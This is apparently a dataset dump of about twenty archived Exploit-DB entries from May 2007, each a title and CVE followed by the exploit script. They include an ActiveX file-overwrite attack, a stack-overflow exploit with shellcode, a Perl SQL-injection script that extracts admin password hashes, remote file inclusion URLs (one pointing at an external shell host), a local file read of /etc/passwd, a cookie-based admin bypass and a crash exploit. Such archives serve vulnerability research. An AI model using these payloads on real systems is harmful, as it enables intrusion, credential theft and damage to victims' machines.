QLWD/code_shield huggingface dataset:
标题: Morovia Barcode ActiveX Professional 3.3.1304 - Arbitrary File Overwrite EDB-ID: 3899 CVE: 2007-2644 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-11 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/11</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------
 <b>Morovia Barcode ActiveX Professional 3.3 (build 1304) Arbitrary file overwrite</b>
 url: http://www.morovia.com/
 price: $129

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
--------------------------------------------------------------------------------

<object classid='clsid:18B409DA-241A-4BD8-AC69-B5D547D5B141' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.Save "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/11 - Morovia Barcode")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-11] URL: https://www.exploit-db.com/exploits/3899
标题: PHPLojaFacil 0.1.5 - 'path_local' Remote File Inclusion EDB-ID: 3875 CVE: 2007-2615 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: # PHPLojaFacil 0.1.5 (path_local) Remote File Inclusion Vulnerabilities
# D.Script: http://www.crieseuwebsite.com/php/download.php?categoria=E-Commerce&arquivo=24
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.Com/cc
# Exploit:[Path]/ftp.php?path_local=Shell
# Exploit:[Path]/libs/db.php?path_local=Shell
# Exploit:[Path]/libs/ftp.php?path_local=Shell
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-08] URL: https://www.exploit-db.com/exploits/3875
标题: telltarget 1.3.3 - 'tt_docroot' Remote File Inclusion EDB-ID: 3885 CVE: 2007-2597 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-09 漏洞利用脚本: # telltarget CMS 1.3.3 <= Multiple Remote File Inclusion Vulnerabilitie
# D.Script: http://www.telltargetcms.de/download/telltarget_1.3.3.zip 
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.Com/cc
# Exploit:[Path]/phplib/site_conf.php?ordnertiefe=Shell
# Exploit:[Path]/phplib/version/1.3.3/functionen/class.csv.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/functionen/produkte_nach_serie.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/functionen/ref_kd_rubrik.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/hg_referenz_jobgalerie.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/surfer_anmeldung_NWL.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/produkte_nach_serie_alle.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/surfer_aendern.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/ref_kd_rubrik.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/referenz.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/standard/1/lay.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/standard/3/lay.php?tt_docroot=Shell
# Greetz To: Tryag-Team ....&&&

# milw0rm.com [2007-05-09] URL: https://www.exploit-db.com/exploits/3885
标题: Barcodewiz ActiveX Control 2.52 - 'Barcodewiz.dll' Overwrite (SEH) EDB-ID: 3882 CVE: 2007-2585 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-09 漏洞利用脚本: <!--

  ===============================================================================================
         BarCodeWiz ActiveX Control 2.52 (BarcodeWiz.dll)Stack Overflow SEH Overwrite Exploit
                                          By Parveen Vashishtha
  ==============================================================================================   
        
  Date : 09-05-2007
 
   Open Calc on 2K
 
  
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Thanks to Metasploit and Stroke 

-->
<html>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6" > </OBJECT>

<script language="vbscript">




shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                    

pointer_to_seh=unescape("%eb%06%90%90")

seh_handler=unescape("%a9%11%02%75")


targetFile = "C:\Program Files\BarCodeWiz ActiveX Demo\DLL\BarcodeWiz.dll"
prototype  = "Function Verify ( ByVal Barcode As String ) As Boolean"
memberName = "Verify"
progid     = "BARCODEWIZLib.BarCodeWiz"
argCount   = 1

arg1=String(3256,"A")

arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop

target.Verify arg1

 

</script>
</body>
</html>

# milw0rm.com [2007-05-09] URL: https://www.exploit-db.com/exploits/3882
标题: GNUEDU 1.3b2 - Multiple Remote File Inclusions EDB-ID: 3876 CVE: 2007-2609 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: # gnuedu 1.3b2 Multiple Remote File Inclusion Vulnerabilities
# D.Script: http://gnuedu.ofset.org/download/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.Com/cc
# Exploit:[Path]/libs/lom.php?ETCDIR=Shell
# Exploit:[Path]/scripts/lom_update.php?ETCDIR=Shell
# Exploit:[Path]/scripts/check-lom.php?ETCDIR=Shell
# Exploit:[Path]/scripts/weigh_keywords.php?ETCDIR=Shell
# Exploit:[Path]/web/logout.php?LIBSDIR=Shell
# Exploit:[Path]/web/help.php?LIBSDIR=Shell
# Exploit:[Path]/web/index.php?LIBSDIR=Shell
# Exploit:[Path]/web/login.php?LIBSDIR=Shell
# Exploit:[Path]/web/lom.php?ETCDIR=Shell
# Greetz To: Tryag-Team ....**

# milw0rm.com [2007-05-08] URL: https://www.exploit-db.com/exploits/3876
标题: Miplex2 - 'SmartyFU.class.php' Remote File Inclusion EDB-ID: 3878 CVE: 2007-2608 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: #Miplex2 Remote file inclusion

#Download script : http://download.berlios.de/miplex2/miplex2alpha.tar.gz

#Thanks Str0ke

#Exploit :

#http://victim.com/[miplex2_paht]/lib/smarty/SmartyFU.class.php?system[smarty][dir]=shell.txt?

#Discovered by : ThE TiGeR

#Greetz : Reda, â„¢~${{BraveHeart}}$~â„¢

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-08] URL: https://www.exploit-db.com/exploits/3878
标题: aForum 1.32 - 'CommonAbsDir' Remote File Inclusion EDB-ID: 3884 CVE: 2007-2634 2007-2596 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-09 漏洞利用脚本: #AForum =>1.33 Remote file inclusion (Func.php)

#Download Script : http://www.agner.org/software/msgbrd2/aforum.zip

#Thanks Str0ke

#D0rk:allintitle:List of messageboards

#Exploit :

#http://localhost/[aforum_path]/common/func.php?CommonAbsDir=shell.txt?

#Discovered By : ThE TiGeR

#Greetz : Reda, â„¢~${{BraveHeart}}$~â„¢

#Miro_Tiger100[at]Hotmail[dot]com

# milw0rm.com [2007-05-09] URL: https://www.exploit-db.com/exploits/3884
标题: SimpleNews 1.0.0 FINAL - 'print.php?news_id' SQL Injection EDB-ID: 3886 CVE: 2007-2598 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-09 漏洞利用脚本: #!/usr/bin/perl -w

#################################################################################
#          #
#    SimpleNews <= 1.0.0 FINAL SQL Injection Exploit  #
#          #
# Discovered by: Silentz       #
# Payload: Admin Username & Hash Retrieval     #
# Website: http://www.w4ck1ng.com      #
#           #
# Vulnerable Code (print.php):        #
#          #
#      $news_id = $_GET['news_id'];      #
#      $query = "SELECT * FROM simplenews_articles WHERE news_id = '$news_id'"; #
#          #  
# PoC: http://victim.com/print.php?news_id=-999' UNION SELECT 0,username, #
#      password,0,0,0,0,0 FROM simplenews_users WHERE user_id=1 /*  #
#           #
# Subject To: magic_quotes_gpc set to off     #
# GoogleDork: Get your own!       #
#          #
# Shoutz: The entire w4ck1ng community      # 
#          #
#################################################################################

use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------\r\n";
print "               SimpleNews <= 1.0.0 FINAL SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_simplenews.pl [PATH]\r\n\r\n";
print "[PATH] = Path where SimpleNews is located\r\n\r\n";
print "e.g. w4ck1ng_simplenews.pl http://victim.com/simplenews/\r\n";
print "-------------------------------------------------------------------------\r\n";
print "               http://www.w4ck1ng.com\r\n";
print "                      ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "print.php?news_id=-999' UNION SELECT 0,username,password,0,0,0,0,0 FROM simplenews_users WHERE user_id=1 /*";

$res = $b->request(HTTP::Request->new(GET=>$host));
$res->content =~ /([0-9a-fA-F]{32})/;

print "-------------------------------------------------------------------------\r\n";
print "               SimpleNews <= 1.0.0 FINAL SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "[+] Admin User = ".$res->title, "\r\n";
print "[+] Admin Hash = $1\r\n";
print "-------------------------------------------------------------------------\r\n";
print "               http://www.w4ck1ng.com\r\n";
print "                      ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";

else {print "\nExploit Failed...\n";}

# milw0rm.com [2007-05-09] URL: https://www.exploit-db.com/exploits/3886
标题: phpMyPortal 3.0.0 RC3 - GLOBALS[CHEMINMODULES] Remote File Inclusion EDB-ID: 3879 CVE: 2007-2594 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-09 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>phpMyPortal 3.0.0 RC3(GLOBALS[CHEMINMODULES])Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: phpMyPortal (22 acc.s) (Version 3.0.0 RC3 du 05/05/2007)
//'[Ex         : [Path_Script]/inc/articles.inc.php?GLOBALS[CHEMINMODULES]=Shell
//'[Author     : Mahmood_ali
//'[S.Page     : http://phpmyportal.info/menu.php <= Click T.l.chargez phpMyPortal
//'[$$         : Free
//'===============================================================================================

//'[[V.Code]]------------------------------------------------------
//'
//'require_once($GLOBALS['CHEMINMODULES'].'/forum/inc/nouvelle.inc.php');
//'
//'[[V.Code]]---------------------------------------------------------

//# Tryag.Com
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/inc/"
   var adres="/articles.inc.php?" //File name
   var acik ="GLOBALS[CHEMINMODULES]=" // Line 67
   var shell="http://www.spy-art.com/xx.txt?" // Shell Tryag-Team
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready 
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Arial" size="2" color="#FFFFFF">phpMyPortal 3.0.0 
RC3(GLOBALS[CHEMINMODULES])Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Tahoma" size="1" color="#FF0000">Target:</font><font face="Tahoma" size="1" color="#FFFF00">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Tahoma">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Lucida Handwriting" size="5" color="#FF0000">Mahmood_ali</font></b><p>
<b><a href="http://tryag.com/cc">
<font face="Lucida Handwriting" size="5" color="#FFFFFF">Tryag.-Team</font></a></b></p>
</p>
</center>
</body>

</html>

# milw0rm.com [2007-05-09] URL: https://www.exploit-db.com/exploits/3879
标题: CGX 20050314 - 'pathCGX' Remote File Inclusion EDB-ID: 3874 CVE: 2007-2611 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: # CGX 2005-03-14 (pathCGX) Remote File Include Vulnerablites
# D.Script: http://codigolivre.org.br/frs/?group_id=413&release_id=1978
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/inc/mtdialogo.php?pathCGX=Shell
# Exploit:[Path]/inc/ltdialogo.php?pathCGX=Shell
# Exploit:[Path]/inc/login.php?pathCGX=Shell
# Exploit:[Path]/inc/logingecon.php?pathCGX=Shell
# All Files in : /frm/ & /sql/ & /cns/
# Greetz To: Tryag-Team ...$$

# milw0rm.com [2007-05-08] URL: https://www.exploit-db.com/exploits/3874
标题: ACGVAnnu 1.3 - 'acgv.php?rubrik' Local File Inclusion EDB-ID: 3867 CVE: 2007-2560 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-07 漏洞利用脚本: # BeyazKurt - B3yazKurt@Hotmail.Com
#
# ACGV Annu (rubrik) Local File Inclusion Exploit
#
# Lamerler ortada kol geziyo aman dikkat ! Tr0jan kazasÄ±na denk gelmeyin !!
#
# Www.HackSafety.Com // Hackingde yeni bir Ã§aÄŸ ...
#
# HackSafety.Com & WorldHackerz.Net KardeÅŸliÄŸi...
#
# rerere rararara bjk bjk MUAHAHAH
#
# FincanÄ± taÅŸtan oyarlar amanÄ±n oyarlar beÅŸiktaÅŸa bÃ¶yle ... bjk'e bÃ¶yle ... !!
#
# Download : http://www.phpscripts-fr.net/scripts/download.php?id=1107

/theme/acgv.php?rubrik=../../../etc/passwd%00

# milw0rm.com [2007-05-07] URL: https://www.exploit-db.com/exploits/3867
标题: Wikivi5 - 'show.php?sous_rep' Remote File Inclusion EDB-ID: 3863 CVE: 2007-2570 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-06 漏洞利用脚本: # Wikivi5 Remote File Inclusion Vulnerability
# D.Script: http://wiki.vi5.org/fichiers/Wikivi5.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/handlers/page/show.php?sous_rep=Shell
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-06] URL: https://www.exploit-db.com/exploits/3863
标题: SmartCode VNC Manager 3.6 - 'scvncctrl.dll' Denial of Service EDB-ID: 3873 CVE: 2007-2526 类型: DOS 平台: WINDOWS 发布日期: 2007-05-08 漏洞利用脚本: <html>
 <object classid='clsid:62FA83F7-20EC-4D62-AC86-BAB705EE1CCD' id='target'></object>
  <script language = 'vbscript'>
   buff = String(3543,"A")
 
   get_EAX = "aaaa"
   get_EBX = "cccc"

   buff2 = String(1440,"B")

   egg = buff + get_EAX + get_EBX + buff2

   target.ConnectAsyncEx egg, 1, "default"
  </script>
</html>

# milw0rm.com [2007-05-08] URL: https://www.exploit-db.com/exploits/3873
标题: PHPtree 1.3 - 'cms2.php?s_dir' Remote File Inclusion EDB-ID: 3860 CVE: 2007-2573 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-05 漏洞利用脚本: #PHPtree Remote file inclusion (s_dir)

#Download script : http://www.phptree.de/content/download/public/phptree/phptree_v1.3.zip

#Thanks Str0ke

#Exploit

#http://site.com/[phptree_path]/plugin/HP_DEV/cms2.php?s_dir=shell.txt?

#Discovered by : ThE TiGeR

#Miro_Tiger100[at]Hotmail[dot]com

# milw0rm.com [2007-05-05] URL: https://www.exploit-db.com/exploits/3860
标题: Friendly 1.0d1 - 'friendly_path' Remote File Inclusion EDB-ID: 3864 CVE: 2007-2569 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-06 漏洞利用脚本: # Friendly 1.0d1 (friendly_path)Remote File Inclusion Vulnerabilities
# D.Script: http://friendlyphp.org/downloads/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/_friendly/core/data/_load.php?friendly_path=shell
# Exploit:[Path]/_friendly/core/data/yaml.inc.php?friendly_path=shell
# Exploit:[Path]/_friendly/core/display/_load.php?friendly_path=shell
# Exploit:[Path]/_friendly/core/support/_load.php?friendly_path=shell
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-06] URL: https://www.exploit-db.com/exploits/3864
标题: XOOPS Module wfquotes 1.0 - SQL Injection EDB-ID: 3862 CVE: 2007-2571 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-06 漏洞利用脚本: =================================================
+
+ Xoops wfquotes module v1.0 0 Remote Blind SQL Injection
+
=================================================
+
+ Bulan: Cyber-Ssecurity
+
=================================================
+
+ Exploit:
+ /modules/wfquotes/index.php?op=cat&c=1/**/UNION/**/SELECT/**/0,uname,pass,3,4,5/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*
+
=================================================

# milw0rm.com [2007-05-06] URL: https://www.exploit-db.com/exploits/3862
标题: Berylium2 2003-08-18 - 'beryliumroot' Remote File Inclusion EDB-ID: 3869 CVE: 2007-2531 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-07 漏洞利用脚本: #Berylium2 Remote file inclusion

#Download script : http://berylium.org/source/be2-2003-08-18.tar.gz

#Thanks Str0ke

#Exploit :

#http://victim.com/[berylium2_path]/code/berylium-classes.php?beryliumroot=shell.txt?

#Discovered by : ThE TiGeR

#Miro_Tiger[at]hotmail[dot]com

#Greetz : â„¢~${{BraveHeart}}$~â„¢ 

# milw0rm.com [2007-05-07] URL: https://www.exploit-db.com/exploits/3869
标题: DynamicPAD 1.02.18 - 'HomeDir' Remote File Inclusion EDB-ID: 3868 CVE: 2007-2527 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-07 漏洞利用脚本: #DynamicPAD Remote file inclusion (HomeDir)

#Download script : http://dynamicpad.org/dp.tar.gz

#Thanks Str0ke

#Dork : "Powered By DynamicPAD"

#Exploit :

#http://victim.com/[dp_path]/dp_logs.php?HomeDir=shell.txt?

#http://victom.com/[dp_path]/index.php?HomeDir= shell.txt?

#Discovered by : ThE TiGeR

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-07] URL: https://www.exploit-db.com/exploits/3868
标题: NoAh 0.9 pre 1.2 - 'mfa_theme.php' Remote File Inclusion EDB-ID: 3861 CVE: 2007-2572 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-06 漏洞利用脚本: ##############################################################################################
##############################################################################################
#NoAh 0.9 The PHP Content Architect <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:noah/modules/noevents/templates/mfa_theme.php
#
<?php include($tpls[1]); ?>
#
#BUG:
#
#Example:http://site.com/path/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=[[Sh3LL
Script]]
#
#Script Download
#############################################################################
#http://sourceforge.net/project/showfiles.php?group_id=131995&package_id=148681&release_id=318628
##############################################################################################
#
#kezzap66345@hotmail.com
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-06] URL: https://www.exploit-db.com/exploits/3861
标题: Archangel Weblog 0.90.02 - Local File Inclusion / Authentication Bypass EDB-ID: 3859 CVE: 2007-2574 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-05 漏洞利用脚本: \\\|///
                    \\  - -  //
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  Archangel Weblog version 0.90.02
       Home     :  http://www.archangelmgt.com/weblog.shtml
              Download :  http://www.archangelmgt.com/Archangel_Weblog_v090_02.zip
       Author   :  Dj7xpl / Dj7xpl@2600.ir
       HomePage :  http://Dj7xpl.2600.ir
       Type     :  Local File Inclusion & Login Page Bypass By Cookie
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/



+---------------------------------------------------------------------------------------------+

Local File Include :

http://[TARGET]/[PATH]/index.php?index=[Local File]%00
http://Target.com/blog/index.php?index=../../../../etc/passwd%00

+---------------------------------------------------------------------------------------------+


+---------------------------------------------------------------------------------------------+

Edit Cookie :

Host  : Target
Name  : ba_admin
Value : 1      <------ (Admin User Id)

And Go To Admin Panel :

http://[Target]/[Path]/Admin/

+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-05-05] URL: https://www.exploit-db.com/exploits/3859
标题: Persism CMS 0.9.2 - system[path] Remote File Inclusion EDB-ID: 3853 CVE: 2007-2545 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-04 漏洞利用脚本: # Persism Content Management System <= 0.9.2 Multiple Remote File Inclusion Vulnerabilities
# D.Script: http://www.persism.com/emil/0.9.2/0.9.2.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/modules/blocks/headerfile.php?system[path]=Shell
# Exploit:[Path]/modules/files/blocks/latest_files.php?system[path]=Shell
# Exploit:[Path]/modules/filters/headerfile.php?system[path]=shell
# Exploit:[Path]/modules/forums/blocks/latest_posts.php?system[path]=shell
# Exploit:[Path]/modules/groups/headerfile.php?system[path]=shell
# Exploit:[Path]/modules/links/blocks/links.php?system[path]=shell
# Exploit:[Path]/modules/menu/headerfile.php?system[path]=shell
# Exploit:[Path]/modules/news/blocks/latest_news.php?system[path]=shell
# Exploit:[Path]/modules/settings/headerfile.php?system[path]=shell
# Exploit:[Path]/modules/users/headerfile.php?system[path]=shell
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3853